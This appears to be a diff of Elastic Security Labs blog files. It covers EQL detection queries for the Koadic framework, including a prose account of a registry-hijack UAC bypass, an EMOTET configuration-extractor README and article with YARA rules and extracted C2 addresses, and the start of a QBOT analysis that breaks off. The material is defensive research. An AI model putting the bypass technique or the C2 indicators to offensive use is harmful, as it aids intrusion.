The EQL query below uses the sequence operator, a function of EQL that matches based on the order of events in a sequence. In this case, we are matching when one of these standard Windows administration utilities initiates a network connection. Where another language might require an analyst to write several rules — one for each of these utilities — EQL enables us to build an array capable of matching many permutations.
|
||||
|
||||
Using the filter operator joins these events in sequence by their process identifier (PID). I like this example because it’s capable of detecting malware and other offensive tools that aren’t specific to Koadic. With that said, it might take a little filtering to remove potentially benign events such as network administrative activity, but this kind of behavior is something every organization should be tracking and reviewing on a certain cadence.
|
||||
|
||||

|
||||
|
||||
_Defense evasion & execution - stagers_
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
sequence by unique_pid
|
||||
[process where subtype.create and process_name in
|
||||
("mshta.exe", "regsvr32.exe", "rundll32.exe", "wmic.exe")]
|
||||
[network where process_name in
|
||||
("mshta.exe", "regsvr32.exe", "rundll32.exe", "wmic.exe")]
|
||||
```
|
||||
|
||||
One of the more interesting takeaways when reviewing offensive tooling is finding the different artifacts that get left behind unintentionally. All it takes is one “loud” artifact, such as a file or registry modification that sticks out, to quickly find suspicious activity.
|
||||
|
||||
In Koadic’s case, HTTP stagers use Internet Explorer’s core architecture to make a web request by default, which causes the stager to be created within the Temporary Internet Files directory. This behavior occurs due to the way Internet Explorer caches browser content to quickly load web pages. Monitoring this kind of behavior with certain executables can lead to reliable detections outside Koadic, such as generic [cradles](https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html) used to download and execute malicious code.
|
||||
|
||||

|
||||
|
||||
_Defense evasion & execution - cached stager_
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
file where process_name in
|
||||
("mshta.exe","regsvr32.exe", "rundll32.exe", "wmic.exe")
|
||||
and subtype.create and file_path == "*Content.IE5*"
|
||||
```
|
||||
|
||||
### Discovery
|
||||
|
||||
**Account Discovery (**[**T1087**](https://attack.mitre.org/techniques/T1087/)**), Remote System Discovery (**[**T1096**](https://attack.mitre.org/techniques/T1018/)**)**
|
||||
|
||||

|
||||
|
||||
_Discovery - macro_
|
||||
|
||||
A feature of EQL is the ability to share or reuse similar logic between queries. By using macro declaration, we can bundle a collection of items together and call the array like a variable. A good example would be grouping Microsoft Office applications into a macro, or, in this case, several different Windows programs that can be used for discovery and enumeration.
|
||||
|
||||
EQL query (macro):
|
||||
|
||||
```
|
||||
macro KOADIC_DISCOVERY(name)
|
||||
name in (
|
||||
"arp.exe", "findstr.exe", "hostname.exe", "ipconfig.exe",
|
||||
"nbtstat.exe", "net.exe", "net1.exe", "netsh.exe",
|
||||
"nltest.exe", "ping.exe", "systeminfo.exe", "tasklist.exe",
|
||||
"tracert.exe", "whoami.exe"
|
||||
)
|
||||
```
|
||||
|
||||
The Elastic Endpoint Resolver view below helps provide some context about how Koadic spawns child processes. By using the Koadic module (exec_cmd), and running a natively supported command such as “whoami /groups”, we can see the Rundll32.exe application was invoked by WmiPrvse.exe and passes instructions down to the command prompt before launching the Whoami.exe application.
|
||||
|
||||

|
||||
|
||||
_Elastic Endpoint Resolver visualization_
|
||||
|
||||
Now that we have a better understanding of the attack chain, let’s tie our previous macro (KOADIC_DISCOVERY) into a sequence-based detection looking for three process creation events from any one of those enumeration programs within a period of 10 minutes, executed by the same user. This same feature would let you monitor for processes that were previously observed. For example, maybe 15 days later the process makes a network connection to pull down an additional payload. What other language lets you find long-term payloads that sit dormant for weeks or months?
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
sequence by user_name with maxspan=10m
|
||||
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
|
||||
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
|
||||
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
|
||||
| unique user_name
|
||||
```
|
||||
|
||||
The query above is fully-functional and can be used as a generic detection for initial discovery and enumeration. But what if we had some reason to tighten the logic around Koadic specifically? Understanding the process genealogy of Koadic at the endpoint level, we can leverage different process relationship tracking functions in EQL such as **child of** and **descendant of**.
|
||||
|
||||
By using the **child of** function and setting the parent process to Rundll32.exe, we are essentially getting the grandchildren of Rundll32.exe. Then if we wanted to take it even further, we can add the **descendant of** parent process WmiPrvse.exe. This example demonstrates the flexibility of EQL to provide powerful detection capabilities for real adversary behavior.
|
||||
|
||||

|
||||
|
||||
_Process tree visualization - child of and descendant of_
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
sequence by user_name with maxspan=10m
|
||||
[process where child of [process where parent_process_name == "rundll32.exe"]
|
||||
and KOADIC_DISCOVERY(process_name) and
|
||||
descendant of [process where parent_process_name == "wmiprvse.exe"]]
|
||||
[process where child of [process where parent_process_name == "rundll32.exe"]
|
||||
and KOADIC_DISCOVERY(process_name) and
|
||||
descendant of [process where parent_process_name == "wmiprvse.exe"]]
|
||||
| unique user_name
|
||||
```
|
||||
|
||||
### Privilege escalation
|
||||
|
||||
**Bypass User Account Account (**[**T1088**](https://attack.mitre.org/techniques/T1088/)**)**
|
||||
|
||||
While attackers control targeting of victims in many cases, they don’t always wind up with an elevated user during initial compromise. Even when a spearphishing victim is a local administrator, the attacker will oftentimes need to escalate from a Medium to High integrity process before continuing. Off-the-shelf offensive tools like Koadic can enable that transition with relative ease, including several different UAC Bypass modules out of the box.
|
||||
|
||||
For this example, we’ll examine a well-known UAC Bypass technique published by Matt Nelson ([@enigma0x3](https://twitter.com/enigma0x3?s=20)) while leveraging the Computer Management launcher — CompMgmtLauncher.exe — which is interoperable with the Microsoft Management Console (MMC). Details about this technique, which still works on Windows 7 endpoints, can be found [here](https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/).
|
||||
|
||||
This technique involves modifying the Windows Registry to change the default association of files the MMC interacts with (HKCU\Software\Classes\mscfile\shell\open\command) to an application of the attacker’s choice. By deploying a malicious script object with a compatible extension and altering this registry key value to launch a built-in script interpreter, an adversary is able to circumvent controls.
|
||||
|
||||
Right after this registry modification, look for the new process creation event tied to the auto-elevated Microsoft program (CompMgmtLauncher.exe), followed by common Koadic stager descendant processes such as Mshta.exe or Rundll32.exe — processes that should be running in a high integrity context. We can combine those events into an ordered sequence and constrain the total run-time for all the steps to complete within 10 seconds.
|
||||
|
||||

|
||||
|
||||
_Privilege escalation - UAC bypass_
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
sequence with maxspan=10s
|
||||
[registry where length(bytes_written_string) \> 0 and key_type in
|
||||
("sz", "expandSz") and key_path == "*\\mscfile\\shell\\open\\command\\"
|
||||
and user_name != "SYSTEM"]
|
||||
[process where process_path == "C:\\Windows\\System32\\CompMgmtLauncher.exe"]
|
||||
[process where process_name in ("mshta.exe","rundll32.exe") and
|
||||
integrity_level == "high"]
|
||||
```
|
||||
|
||||
### Collection/exfiltration
|
||||
|
||||
**Data from Local System (**[**T1005**](https://attack.mitre.org/techniques/T1005/)**)**
|
||||
|
||||
Koadic’s method of C2 may be interesting to analysts of several kinds due to the transactional way it exchanges data between implants and server. This behavior is highlighted through some direct examples of specific commands executed below:
|
||||
|
||||

|
||||
|
||||
_Command shell redirection into text files_
|
||||
|
||||
Koadic redirects STDOUT/STDERR to a temporary text file that stores the output of the operator’s commands as they were presented to the server. These commands are then read back into the Koadic C2 terminal. One second after this file is initially created, it is automatically deleted.
|
||||
|
||||
With the right endpoint visibility, malicious behaviors you might be incapable of otherwise detecting stand out. To demonstrate a detection around this, we will use the event of function to filter only for processes that come from cmd.exe that contain a redirector (\\>), then tie the PID of that process to same PID that performed file activity related to the text (.txt) file activity.
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
file where file_name == "*.txt" and
|
||||
event of [process where process_name == "cmd.exe" and command_line == "*\>*"]
|
||||
```
|
||||
|
||||

|
||||
|
||||
_Example results showing file modification_
|
||||
|
||||
If you wanted to get more context, such as what command was passed from Koadic, we can turn the detection into a sequence and add the process event.
|
||||
|
||||
EQL query:
|
||||
|
||||
```
|
||||
sequence with maxspan=5s by unique_pid
|
||||
[process where subtype.create and process_name == "cmd.exe" and command_line == "*\>*" and
|
||||
descendant of [process where process_name == "wmiprvse.exe"]]
|
||||
[file where subtype.create and wildcard(file_name, "*.txt", "*.log")]
|
||||
```
|
||||
|
||||

|
||||
|
||||
_Example results combining process and file modification_
|
||||
|
||||
### Conclusion
|
||||
|
||||
To summarize, we analyzed one offensive framework (Koadic) and several of its prominent features, reviewed a flexible query language (EQL) to express detection logic, and stepped through several ways to identify behavior tied to Koadic with example analytics.
|
||||
|
||||
I see the availability of offensive frameworks like Koadic as an opportunity for defenders, and a motivation to stay vigilant. Thinking creatively about how to detect these post-exploitation behaviors and assessing how these tools perform against their own detection capabilities will put an organization on a path to greater success in stopping similar threats.
|
||||
|
||||
To help enable organizations, we’ve added all the queries in this post into the [EQLLib repository](https://eqllib.readthedocs.io/en/latest/analytics.html). For readers interested in the original presentation from BSidesDFW this year, here is a link to the [slides](https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs/edit?usp=sharing).
|
||||
|
||||
[EQL support is being added to Elasticsearch.](https://github.com/elastic/elasticsearch/issues/49581)
|
|
@ -0,0 +1,68 @@
|
|||
---
|
||||
title: "EMOTET Configuration Extractor"
|
||||
slug: "emotet-configuration-extractor"
|
||||
date: "2022-12-06"
|
||||
subtitle: "Configuration extraction tool for the EMOTET malware."
|
||||
description: "Python script to extract the configuration from EMOTET samples."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "tools-image.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
tags:
|
||||
- emotet
|
||||
---
|
||||
|
||||
Python script to extract the payload from EMOTET samples.
|
||||
|
||||
[Download emotet-configuration-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte2addf7080c31792/635ad4a5a739cc5f6cbd595e/emotet-configuration-extractor.tar.gz)
|
||||
|
||||
> For information on the EMOTET malware check out the following resources:
|
||||
>
|
||||
> - [EMOTET Dynamic Configuration Extraction](https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction)
|
||||
|
||||
## Getting started
|
||||
|
||||
### Docker
|
||||
|
||||
The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.
|
||||
|
||||
```
|
||||
docker build . -t emotet-config-extractor
|
||||
```
|
||||
|
||||
Then we run the container with the **-v** flag to map a host directory to the docker container directory.
|
||||
|
||||
```
|
||||
docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest --help
|
||||
```
|
||||
|
||||
### Running it locally
|
||||
|
||||
As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.
|
||||
|
||||
```
|
||||
poetry lock
|
||||
poetry install
|
||||
poetry shell
|
||||
emotet-config-extractor --help
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
All samples need to be unpacked prior to execution extraction attempts.
|
||||
|
||||
Our extractor takes either a directory of samples with **-d** option or **-f** for a single sample and then can output parts of the configuration of note, specifically:
|
||||
|
||||
- **-k** : extract the encryption keys
|
||||
- **-c** : extract the C2 information
|
||||
- **-s** : extract the wide-character strings
|
||||
- **-a** : extract the ASCII character strings
|
||||
|
||||
```
|
||||
docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest -d "C:\tmp\samples"
|
||||
```
|
||||
|
||||

|
||||
|
||||
You can collect the extracted configurations from the directory you set when running the extractor.
|
|
@ -0,0 +1,334 @@
|
|||
---
|
||||
title: "EMOTET Dynamic Configuration Extraction"
|
||||
slug: "emotet-dynamic-configuration-extraction"
|
||||
date: "2022-12-01"
|
||||
subtitle: "A tool for the dynamic extraction of EMOTET configurations based on emulation."
|
||||
description: "Elastic Security Labs discusses the EMOTET trojan and is releasing a tool to dynamically extract configuration files using code emulators."
|
||||
author:
|
||||
- slug: remco-sprooten
|
||||
image: "lock-code-combination-configuration.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- emotet
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- The EMOTET developers have changed the way they encode their configuration in the 64bit version of the malware.
|
||||
- Using code emulation we can bypass multiple code obfuscation techniques.
|
||||
- The use of code emulators in config extractors will become more prevalent in the future.
|
||||
|
||||
> To download the EMOTET configuration extractor, check out our post on the tool:
|
||||
>
|
||||
> - [EMOTET configuration extractor](https://www.elastic.co/security-labs/emotet-configuration-extractor)
|
||||
|
||||
## Preamble
|
||||
|
||||
The [EMOTET](https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet) family broke onto the malware scene as a [modular banking trojan in 2014](https://web.archive.org/web/20140701001622/https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/), focused on harvesting and exfiltrating bank account information by inspecting traffic. EMOTET has been adapted as an early-stage implant used to load other malware families, such as [QAKBOT](https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern), [TRICKBOT](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Trickbot.yar), and [RYUK](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Ransomware_Ryuk.yar). While multiple EMOTET campaigns have been dismantled by international law enforcement entities, it has continued to operate as one of the most prolific cybercrime operations.
|
||||
|
||||
For the last several months, Elastic Security has observed the EMOTET developers [transition](https://twitter.com/Cryptolaemus1/status/1516261512372965383?ref_src=twsrc%5Etfw) to a 64-bit version of their malware. While this change does not seem to impact the core functionality of the samples we have witnessed, we did notice a change in how the configuration and strings are obfuscated. In earlier versions of EMOTET, the configuration was stored in an encrypted form in the **.data** section of the binary. In the newer versions the configuration is calculated at runtime. The information we need to extract the configuration from the binary is thus hidden within the actual code.
|
||||
|
||||
In the next sections, we’ll discuss the following as it relates to 64-bit EMOTET samples:
|
||||
|
||||
- EMOTET encryption mechanisms
|
||||
- Reviewing the EMOTET C2 list
|
||||
- Interesting EMOTET strings
|
||||
- The EMOTET configuration extractor utility
|
||||
|
||||
## Encryption keys
|
||||
|
||||
EMOTET uses embedded [Elliptic Curve Cryptography](https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/) (ECC) public keys to encrypt their network communication. While in previous versions, the keys would be stored in an XOR-encrypted blob, now the content is calculated at runtime.
|
||||
|
||||

|
||||
|
||||
In comparison the previous versions of EMOTET would store an encrypted version of the key data in the . **text** section of the binary.
|
||||
|
||||

|
||||
|
||||
In order to make it harder for security researchers to find the given code the malware uses [Mixed Boolean-Arithmetic](https://www.usenix.org/conference/usenixsecurity21/presentation/liu-binbin) (MBA) as one of its obfuscation techniques. It transforms constants and simple expressions into expressions that contain a mix of Boolean and arithmetic operations.
|
||||
|
||||

|
||||
|
||||
In this example, an array of constants is instantiated, but looking at the assembly we see that every constant is calculated at runtime. This method makes it challenging to develop a signature to target this function.
|
||||
|
||||
We noticed that both the [Elliptic Curve Diffie-Hellman](https://cryptobook.nakov.com/asymmetric-key-ciphers/ecdh-key-exchange) (ECDH) and [Elliptic Curve Digital Signature Algorithm](https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages) (ECDSA) keys use the same function to decode the contents.
|
||||
|
||||
The ECDH key (which you can recognize by its magic ECK1 bytes) is used for encryption purposes while the ECDSA key (ECC1) is used for verifying the C2 server's responses.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
By leveraging a YARA signature to find the location of this decode function within the EMOTET binary we can observe the following process:
|
||||
|
||||
1. Find the decoding algorithm within the binary.
|
||||
2. Locate any Cross References ([Xrefs](https://hex-rays.com/blog/igor-tip-of-the-week-16-cross-references/)) to the decoding function.
|
||||
3. Emulate the function that calls the decoding function.
|
||||
4. Read the resulting data from memory.
|
||||
|
||||
As we mentioned, we first find the function in the binary by using YARA. The signature is provided at the [end of this article](https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction#yara). It is worth pointing out that these yara signatures are used to identify locations in the binary but are, in their current form, not usable to identify EMOTET samples.
|
||||
|
||||
In order to automatically retrieve the data from multiple samples, we created a configuration extractor. In the snippets below, we will demonstrate, in a high level fashion, how we collect the configuration information from the malware samples.
|
||||
|
||||

|
||||
|
||||
In the above code snippet:
|
||||
|
||||
1. First load the YARA signature.
|
||||
2. Try to find a match, and if a signature is found in the file.
|
||||
3. Calculate the function offset based on the offset in the file.
|
||||
|
||||
In order to locate the Xrefs to this function, we use the excellent [SMDA decompiler](https://github.com/danielplohmann/smda). After locating the Xrefs, we can start the emulation process using the CPU emulator, [Unicorn](https://www.unicorn-engine.org/).
|
||||
|
||||

|
||||
|
||||
1. Initialize the Unicorn emulator.
|
||||
2. Load the executable code from the PE file into memory.
|
||||
3. Disassemble the function to find the return and the end of the execution.
|
||||
4. The binary will try to use the windows [HeapAlloc API](https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc) to allocate space for the decoded data. Since we don't want to emulate any windows API's, as this would add unnecessary complexity, we hook to code so that we can allocate space ourselves.
|
||||
5. After the emulation has run the 64-bit “long size” register ([RAX](https://www.cs.uaf.edu/2017/fall/cs301/lecture/09_11_registers.html#:~:text=rax%20is%20the%2064%2Dbit,processors%20with%20the%2080386%20CPU.)), it will contain a pointer to the key data in memory.
|
||||
6. To present the key in a more readable way, we convert it to the standard PEM format.
|
||||
|
||||
By emulating the parts of the binary that we are interested in, we no longer have to statically defeat the obfuscation in order to retrieve the hidden contents. This approach adds a level of complexity to the creation of config extractors. However, since malware authors are adding ever more obfuscation, there is a need for a generic approach to defeating these techniques.
|
||||
|
||||

|
||||
|
||||
## C2 server list
|
||||
|
||||
An important part of tracking malware families is to get new insights by identifying and discovering which C2 servers they use to operate their network.
|
||||
|
||||
In the 64-bit versions of EMOTET, we see that the IP and port information of the C2 servers are also dynamically calculated at runtime. Every C2 server is represented by a function that calculates and returns a value for the IP address and the port number.
|
||||
|
||||

|
||||
|
||||
These functions don’t have a direct cross reference available for searching. However, a procedure references all the C2 functions and creates the **p_c2_list** array of pointers.
|
||||
|
||||

|
||||
|
||||
After that, we can emulate every C2-server function individually to retrieve the IP and port combination as seen below.
|
||||
|
||||

|
||||
|
||||
## Strings
|
||||
|
||||
The same method is applied to the use of strings in memory. Every string has its own function. In the following example, the function would return a pointer to the string **%s\regsvr32.exe "%s"**.
|
||||
|
||||

|
||||
|
||||
All of the EMOTET strings share a common function to decode or resolve the string at runtime. In the sample that we are analyzing here, the string resolver function is referenced 29 times.
|
||||
|
||||

|
||||
|
||||
This allows us to follow the same approach as noted earlier in order to decode all of the EMOTET strings. We pinpoint the string decoding function using YARA, find the cross-references, and emulate the resulting functions.
|
||||
|
||||

|
||||
|
||||
## Configuration extractor
|
||||
|
||||
Automating the payload extraction from EMOTET is a crucial aspect of threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors, enabling practitioners to discover new unknown samples in a timely manner.
|
||||
|
||||
```
|
||||
% emotet-config-extractor --help
|
||||
usage: Emotet Configuration Extractor [-h] (-f FILE | -d DIRECTORY) [-k] [-c] [-s] [-a]
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-f FILE, --file FILE Emotet sample path
|
||||
-d DIRECTORY, --directory DIRECTORY
|
||||
Emotet samples folder
|
||||
-k Extract Encryption keys
|
||||
-c Extract C2 information
|
||||
-s Extract strings
|
||||
-a Extract strings (ascii)
|
||||
```
|
||||
|
||||
Our extractor takes either a directory of samples with **-d** option or **-f** for a single sample and then can output parts of the configuration of note, specifically:
|
||||
|
||||
- **-k** : extract the encryption keys
|
||||
- **-c** : extract the C2 information
|
||||
- **-s** : extract the wide-character strings
|
||||
- **-a** : extract the ASCII character stings
|
||||
|
||||
EMOTET uses a different routine for decoding wide and ASCII strings. That is why the extractor provides flags to extract them separately.
|
||||
|
||||
The C2 information displays a list of IP addresses found in the sample. It is worth noting that EMOTET downloads submodules to perform specific tasks. These submodules can contain their own list of C2 servers. The extractor is also able to process these submodules.
|
||||
|
||||
The submodules that we observed do not contain encryption keys. While processing submodules you can omit the **-k** flag.
|
||||
|
||||
```
|
||||
[...]
|
||||
[+] Key type: ECK1
|
||||
[+] Key length: 32
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2DWT12OLUMXfzeFp+bE2AJubVDsW
|
||||
NqJdRC6yODDYRzYuuNL0i2rI2Ex6RUQaBvqPOL7a+wCWnIQszh42gCRQlg==
|
||||
-----END PUBLIC KEY-----
|
||||
[...]
|
||||
[+] Key type: ECS1
|
||||
[+] Key length: 32
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE9C8agzYaJ1GMJPLKqOyFrlJZUXVI
|
||||
lAZwAnOq6JrEKHtWCQ+8CHuAIXqmKH6WRbnDw1wmdM/YvqKFH36nqC2VNA==
|
||||
-----END PUBLIC KEY-----
|
||||
[...]
|
||||
[+] Found 64 c2 subs
|
||||
174.138.33.49:7080
|
||||
188.165.79.151:443
|
||||
196.44.98.190:8080
|
||||
[...]
|
||||
[+] Starting emulation
|
||||
[+] String BLOB address: 0x4000000
|
||||
KeyDataBlob
|
||||
[...]
|
||||
[+] String BLOB address: 0x4000000
|
||||
bcrypt.dll
|
||||
[...]
|
||||
[+] String BLOB address: 0x4000000
|
||||
RNG
|
||||
```
|
||||
|
||||
To enable the community to further defend themselves against existing and new variants of EMOTET, we are making the payload extractor open source under the Apache 2 License. Access the [payload extractor documentation and binary download](https://www.elastic.co/security-labs/emotet-configuration-extractor).
|
||||
|
||||
## The future of EMOTET
|
||||
|
||||
The EMOTET developers are implementing new techniques to hide their configurations from security researchers. These techniques will slow down initial analysis, however, EMOTET will eventually have to execute to achieve its purpose, and that means that we can collect information that we can use to uncover more about the campaign and infrastructure. Using code emulators, we can still find and extract the information from the binary without having to deal with any obfuscation techniques. EMOTET is a great example where multiple obfuscation techniques make static analysis harder. But of course, we expect more malware authors to follow the same example. That is why we expect to see more emulation-based configuration extract in the future.
|
||||
|
||||

|
||||
|
||||
## Detection
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. The YARA rules shown here are not meant to be used to solely detect EMOTET binaries, they are created to support the configuration extractor. The YARA rules for detecting EMOTET can be found in the [protections-artifacts repository](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Emotet.yar).
|
||||
|
||||
#### EMOTET key decryption function
|
||||
|
||||
```
|
||||
rule resolve_keys
|
||||
{
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
description = "EMOTET - find the key decoding algorithm in the PE"
|
||||
creation_date = "2022-08-02"
|
||||
last_modified = "2022-08-11"
|
||||
os = "Windows"
|
||||
family = "EMOTET"
|
||||
threat_name = "Windows.Trojan.EMOTET"
|
||||
reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
|
||||
strings:
|
||||
$chunk_1 = {
|
||||
45 33 C9
|
||||
4C 8B D0
|
||||
48 85 C0
|
||||
74 ??
|
||||
48 8D ?? ??
|
||||
4C 8B ??
|
||||
48 8B ??
|
||||
48 2B ??
|
||||
48 83 ?? ??
|
||||
48 C1 ?? ??
|
||||
48 3B ??
|
||||
49 0F 47 ??
|
||||
48 85 ??
|
||||
74 ??
|
||||
48 2B D8
|
||||
42 8B 04 03
|
||||
}
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
|
||||
#### EMOTET C2 aggregation
|
||||
|
||||
```
|
||||
rule c2_list
|
||||
{
|
||||
author = "Elastic Security"
|
||||
description = "EMOTET - find the C2 collection in the PE"
|
||||
creation_date = "2022-08-02"
|
||||
last_modified = "2022-08-11"
|
||||
os = "Windows"
|
||||
family = "EMOTET"
|
||||
threat_name = "Windows.Trojan.EMOTET"
|
||||
reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
|
||||
strings:
|
||||
$chunk_1 = {
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
48 8D 05 ?? ?? ?? ??
|
||||
48 89 81 ?? ?? ?? ??
|
||||
}
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
|
||||
#### EMOTET string decoder
|
||||
|
||||
```
|
||||
rule string_decode
|
||||
{
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
description = "EMOTET - find the string decoding algorithm in the PE"
|
||||
creation_date = "2022-08-02"
|
||||
last_modified = "2022-08-11"
|
||||
os = "Windows"
|
||||
family = "EMOTET"
|
||||
threat_name = "Windows.Trojan.EMOTET"
|
||||
reference_sample = "debad0131060d5dd9c4642bd6aed186c4a57b46b0f4c69f1af16b1ff9c0a77b1"
|
||||
strings:
|
||||
$chunk_1 = {
|
||||
8B 0B
|
||||
49 FF C3
|
||||
48 8D 5B ??
|
||||
33 CD
|
||||
0F B6 C1
|
||||
66 41 89 00
|
||||
0F B7 C1
|
||||
C1 E9 10
|
||||
66 C1 E8 08
|
||||
4D 8D 40 ??
|
||||
66 41 89 40 ??
|
||||
0F B6 C1
|
||||
66 C1 E9 08
|
||||
66 41 89 40 ??
|
||||
66 41 89 48 ??
|
||||
4D 3B D9
|
||||
72 ??
|
||||
}
|
||||
$chunk_2 = {
|
||||
8B 0B
|
||||
49 FF C3
|
||||
48 8D 5B ??
|
||||
33 CD
|
||||
0F B6 C1
|
||||
66 41 89 00
|
||||
0F B7 C1
|
||||
C1 E9 ??
|
||||
66 C1 E8 ??
|
||||
4D 8D 40 ??
|
||||
66 41 89 40 ??
|
||||
0F B6 C1
|
||||
66 C1 E9 ??
|
||||
66 41 89 40 ??
|
||||
66 41 89 48 ??
|
||||
4D 3B D9
|
||||
72 ??
|
||||
}
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,474 @@
|
|||
---
|
||||
title: "Exploring the QBOT Attack Pattern"
|
||||
slug: "exploring-the-qbot-attack-pattern"
|
||||
date: "2022-08-22"
|
||||
subtitle: "QBOT attack pattern and malware observations"
|
||||
description: "In this research publication, we'll explore our analysis of the QBOT attack pattern — a full-featured and prolific malware family."
|
||||
author:
|
||||
- slug: cyril-francois
|
||||
- slug: seth-goodwin
|
||||
- slug: andrew-pease
|
||||
image: "blog-security-endpoint-720x420.png"
|
||||
category:
|
||||
- slug: attack-pattern
|
||||
- slug: activity-group
|
||||
tags:
|
||||
- ref3726
|
||||
- qbot
|
||||
- qakbot
|
||||
---
|
||||
|
||||
## Key Takeaways
|
||||
|
||||
- QBOT is a popular, actively developed, and full-featured trojan
|
||||
- Adversary-controlled or owned infrastructure has been observed being used by numerous samples
|
||||
- The analyzed sample leverages multiple persistence and defense evasion mechanisms
|
||||
|
||||
## Preamble
|
||||
|
||||
Elastic Security Labs has been tracking REF3726, an attack pattern for the QBOT malware family. QBOT, also known as [QAKBOT](https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot), is a prolific modular trojan that has been active since around 2007. QBOT’s loading mechanism makes it an attractive framework to threat actors and ransomware groups and has led to widespread infections of the family; targeting victims across multiple verticals.
|
||||
|
||||
This research covers:
|
||||
|
||||
- Execution chain
|
||||
- Defense evasion
|
||||
- Persistence mechanisms
|
||||
- Privilege escalation
|
||||
- Network events
|
||||
- QBOT configuration extractor
|
||||
- Observed tactics and techniques
|
||||
|
||||
Through this research, from static and dynamic analysis and Elastic telemetry, we uncovered 138 adversary-controlled or owned IP addresses. These IP addresses were linked to our sample and used to identify 339 additional associated malicious files. All artifacts are provided as STIX JSON and Elastic Common Schema (ECS) documents.
|
||||
|
||||
> For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:
|
||||
>
|
||||
> - [QBOT Configuration Extractor](https://www.elastic.co/security-labs/qbot-configuration-extractor)
|
||||
> - [QBOT Malware Analysis](https://www.elastic.co/security-labs/qbot-malware-analysis)
|
||||
|
||||
## Analysis Environment
|
||||
|
||||
We selected a sample for analysis that we could statically and dynamically analyze. This process is commonly used to enrich both types of analysis. For the dynamic analysis, the sample was detonated on a Windows 10 Enterprise VM running the Elastic Endpoint, the Windows and Network Packet Capture Elastic Agent integrations, and an aggressive endpoint logging policy. All events were shipped to our Elastic Cloud cluster and processed through the Elastic Security App. The Elastic Security Endpoint was configured for Alerting and Eventing only (no Prevention). Alerts were generated from Detection Rules in the Security App and directly from the Elastic Security Endpoint default ruleset.
|
||||
|
||||
## Execution Chain
|
||||
|
||||
The following section will describe the observed execution chain for the Qbot malware sample. This includes events from Initial Execution to Defense Evasion to Persistence to Privilege Escalation.
|
||||
|
||||

|
||||
|
||||
### Initial Execution
|
||||
|
||||
The initial execution of the QBOT sample was observed in Elastic’s telemetry data (derived from @proxylife’s [published research](https://twitter.com/pr0xylife/status/1539601609730170882?s=20&t=G-XR7ibeOO0nWCWajKWTKw) on QBOT).
|
||||
|
||||
```
|
||||
